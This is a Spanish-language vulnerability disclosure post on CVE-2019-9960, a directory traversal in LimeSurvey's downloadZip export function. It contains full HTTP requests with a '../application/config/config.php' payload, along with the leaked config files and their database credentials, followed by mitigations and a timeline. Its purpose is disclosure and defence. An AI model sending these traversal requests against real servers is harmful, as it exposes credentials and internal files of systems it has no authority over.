/ 7 min de lectura
CVE-2019-9960: descarga arbitraria de archivos en LimeSurvey

Introducción
LimeSurvey es una aplicación open source escrita en PHP, pensada específicamente para hacer encuestas online. Es muy útil para usuarios sin conocimientos de programación, porque les permite armar un entorno para juntar respuestas a sus encuestas.
Hace un tiempo encontramos y reportamos una vulnerabilidad de descarga arbitraria de archivos en LimeSurvey, registrada como CVE-2019-9960. Esta vulnerabilidad le permite a un Administrador descargar archivos internos del servidor mediante un Directory Traversal. Afecta a las versiones <= 3.15.9+190214.
A la fecha, LimeSurvey tiene un total de 2.192 estrellas en GitHub.
Encontrando los bugs
Cuando un usuario exporta la estructura de una encuesta a formato *.lss, se genera un modal con el botón “Download file”.

Al ejecutarse, genera una request GET a la siguiente URL:
/index.php/admin/export/sa/downloadZip/sZip/pb46rb245xhdv8aqtpebzpbpaw5pb8LimeSurvey usa el formato Pretty URL, con el que se llaman distintas acciones en los distintos controllers que componen la aplicación. La URL anterior se estructura así.

Por un lado, admin/export hace referencia al controller:
./application/controllers/admin/export.php.saEsto se corresponde con el parámetro GET que recibe el nombre del método a ejecutar, en este caso, downloadZip.
Por último, sZip es el parámetro GET que recibe el nombre del archivo a descargar:
pb46rb245xhdv8aqtpebzpbpaw5pb8.Una vez que el usuario hace la request HTTP, se llama al controller ./application/controllers/admin/export.php en la función downloadZip().
Esta función recibe como argumento el valor del parámetro “sZip”. Como se puede ver en el código, el parámetro no está correctamente sanitizado contra un Directory Traversal, así que es posible acceder a cualquier tipo de archivo interno del servidor.
Descarga del archivo
A continuación se muestra cómo es posible descargar el archivo de configuración de LimeSurvey ubicado en ./application/config/config.php.

Request HTTP:
GET /LimeSurvey-3.15.9-190214/index.php/admin/export/sa/downloadZip/?sZip=../application/config/config.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://localhost/LimeSurvey-3.15.9-190214/index.php/admin/survey/sa/listsurveysCookie: shortest-last-redirect-time=1500074341246; _ga=GA1.1.1537606638.1500074341; shortest-last-pop-under=1500074352780; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; PHPSESSID=rsh6r3jcnovp0dgs0i4dak5op3; YII_CSRF_TOKEN=WjNuR09MSWZ3Y0hoanV6M1Y1Y2wwQzJIaThZZmJMbEEK4nio9riEgrzfLfI_4GxA3fGccJytOU75JHXW7Vuo-A%3D%3DConnection: closeUpgrade-Insecure-Requests: 1Response HTTP:

HTTP/1.1 200 OKDate: Tue, 26 Mar 2019 06:04:55 GMTServer: Apache/2.4.25 (Ubuntu)Expires: 0Cache-Control: must-revalidate, post-check=0, pre-check=0Pragma: publicContent-Disposition: attachment; filename=surveys_archive.zipLast-Modified: Tue, 26 Mar 2019 06:04:55 GMTContent-Length: 2729Connection: closeContent-Type: application/force-download; charset=UTF-8
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');/*| -------------------------------------------------------------------| DATABASE CONNECTIVITY SETTINGS| -------------------------------------------------------------------| This file will contain the settings needed to access your database.|| For complete instructions please consult the 'Database Connection'| page of the User Guide.|| -------------------------------------------------------------------| EXPLANATION OF VARIABLES| -------------------------------------------------------------------|| 'connectionString' Hostname, database, port and database type for| the connection. Driver example: mysql. Currently supported:| mysql, pgsql, mssql, sqlite, oci| 'username' The username used to connect to the database| 'password' The password used to connect to the database| 'tablePrefix' You can add an optional prefix, which will be added| to the table name when using the Active Record class|*/return array('components' => array('db' => array('connectionString' => 'pgsql:host=localhost;port=5432;user=limesurvey;password=limesurvey;dbname=limesurvey;','emulatePrepare' => true,'username' => 'limesurvey','password' => 'limesurvey','charset' => 'utf8','tablePrefix' => 'lime_',),// Uncomment the following lines if you need table-based sessions.// Note: Table-based sessions are currently not supported on MSSQL server.// 'session' => array (// 'class' => 'application.core.web.DbHttpSession',// 'connectionID' => 'db',// 'sessionTableName' => '{{sessions}}',// ),'urlManager' => array('urlFormat' => 'path','rules' => array(// You can add your own rules here),'showScriptName' => true,),),// For security issue : it's better to set runtimePath out of web access// Directory must be readable and writable by the webuser// 'runtimePath'=>'/var/limesurvey/runtime/'// Use the following config variable to set modified optional settings copied from config-defaults.php'config'=>array(// debug: Set this to 1 if you are looking for errors. If you still get no errors after enabling this// then please check your error-logs - either in your hosting provider admin panel or in some /logs directory// on your webspace.// LimeSurvey developers: Set this to 2 to additionally display STRICT PHP error messages and get full access to standard templates'debug'=>0,'debugsql'=>0, // Set this to 1 to enanble sql logging, only active when debug = 2// Update default LimeSurvey config here));/* End of file config.php *//* Location: ./application/config/config.php */Explotación en versiones anteriores
En versiones anteriores de LimeSurvey, por ejemplo en la 3.15.8, el vector de explotación cambia así. Créditos al equipo de Volt AI por la generación del payload.
Request HTTP:
GET /index.php?sZip=../application/config/config.php&r=admin/export/sa/downloadZip HTTP/1.1Host: demo.limesurvey.orgConnection: closeUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Referer: https://demo.limesurvey.org/index.php?r=admin/survey/sa/listsurveys/active/YAccept-Encoding: gzip, deflateAccept-Language: es-419,es;q=0.9Cookie: PHPSESSID=1271dn8v8kaum3i1esap4huti2; YII_CSRF_TOKEN=Y090aExYVEY1MllyZX5xREl1RE9qdDZFX2NCam13ZG0XxMSEeBdhJpz-XHL05irg2AUNbmc1Uccgag4YR_bkrQ%3D%3DResponse HTTP:
HTTP/1.1 200 OKServer: nginx/1.10.3 (Ubuntu)Date: Fri, 08 Mar 2019 05:04:15 GMTContent-Type: application/force-download; charset=UTF-8Connection: closeContent-Disposition: attachment; filename=surveys_archive.zipExpires: 0Last-Modified: Fri, 08 Mar 2019 05:04:15 GMTCache-Control: must-revalidate, post-check=0, pre-check=0Pragma: publicContent-Security-Policy: worker-src www.limesurvey.org 'self'; connect-src 'self'; default-src 'self' www.limesurvey.org fonts.gstatic.com; font-src 'self' fonts.gstatic.com netdna.bootstrapcdn.com github.com; form-action 'self'; frame-src www.limesurvey.org 'self' www.limesurvey.com; img-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' maps.googleapis.com ajax.googleapis.com; style-src 'self' 'unsafe-inline' fonts.googleapis.com; frame-ancestors 'self';Content-Length: 3115
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');/*| -------------------------------------------------------------------| DATABASE CONNECTIVITY SETTINGS| -------------------------------------------------------------------| This file will contain the settings needed to access your database.|| For complete instructions please consult the 'Database Connection'| page of the User Guide.|| -------------------------------------------------------------------| EXPLANATION OF VARIABLES| -------------------------------------------------------------------|| 'connectionString' Hostname, database, port and database type for| the connection. Driver example: mysql. Currently supported:| mysql, pgsql, mssql, sqlite, oci| 'username' The username used to connect to the database| 'password' The password used to connect to the database| 'tablePrefix' You can add an optional prefix, which will be added| to the table name when using the Active Record class|*/return array('components' => array('db' => array('connectionString' => 'mysql:host=localhost;port=3306;dbname=c1***********;','emulatePrepare' => true,'username' => 'c1**********','password' => 'mshj34782bdbnv783***************************','charset' => 'utf8mb4','tablePrefix' => 'lime_',),// Uncomment the following line if you need table-based sessions// 'session' => array (// 'class' => 'application.core.web.DbHttpSession',// 'connectionID' => 'db',// 'sessionTableName' => '{{sessions}}',// ),'urlManager' => array('urlFormat' => 'get','rules' => array(// You can add your own rules here),'showScriptName' => true,),),// For security issue : it's better to set runtimePath out of web access// Directory must be readable and writable by the webuser// 'runtimePath'=>'/var/limesurvey/runtime/'// Use the following config variable to set modified optional settings copied from config-defaults.php'config'=>array(// debug: Set this to 1 if you are looking for errors. If you still get no errors after enabling this// then please check your error-logs - either in your hosting provider admin panel or in some /logs directory// on your webspace.// LimeSurvey developers: Set this to 2 to additionally display STRICT PHP error messages and get full access to standard templates'debug'=>0,'debugsql'=>0, // Set this to 1 to enanble sql logging, only active when debug = 2// Update default LimeSurvey config here"demoMode" => true,"demoModePrefill" => true,"defaultuser" => 'demo',"defaultpass" => 'demo','force_ssl'=>'on','usePluginWhitelist' => true,'pluginCoreList' => ['AuditLog','ExportR','ExportSTATAxml','extendedStartPage','oldUrlCompat','Authdb',]));/* End of file config.php *//* Location: ./application/config/config.php */Impacto y mitigación
Esta vulnerabilidad le permite a un atacante autenticado con privilegios de administrador:
- Descargar archivos de configuración con credenciales de la base de datos
- Acceder a archivos del sistema mediante directory traversal
- Obtener información sensible sobre la infraestructura del servidor
- Comprometer la confidencialidad de los datos internos del sistema
Recomendaciones de seguridad
- Actualizar LimeSurvey a una versión superior a 3.15.9+190214
- Validar y sanitizar todos los inputs de usuario antes de procesarlos
- Implementar controles de acceso estrictos para las funciones administrativas
- Configurar permisos de archivo correctos en el servidor
- Monitorear el acceso a archivos críticos del sistema
Timeline
- 2019-03-08: vulnerabilidad reportada al vendor
- 2019-03-08: el vendor confirmó el reporte
- 2019-03-14: fix publicado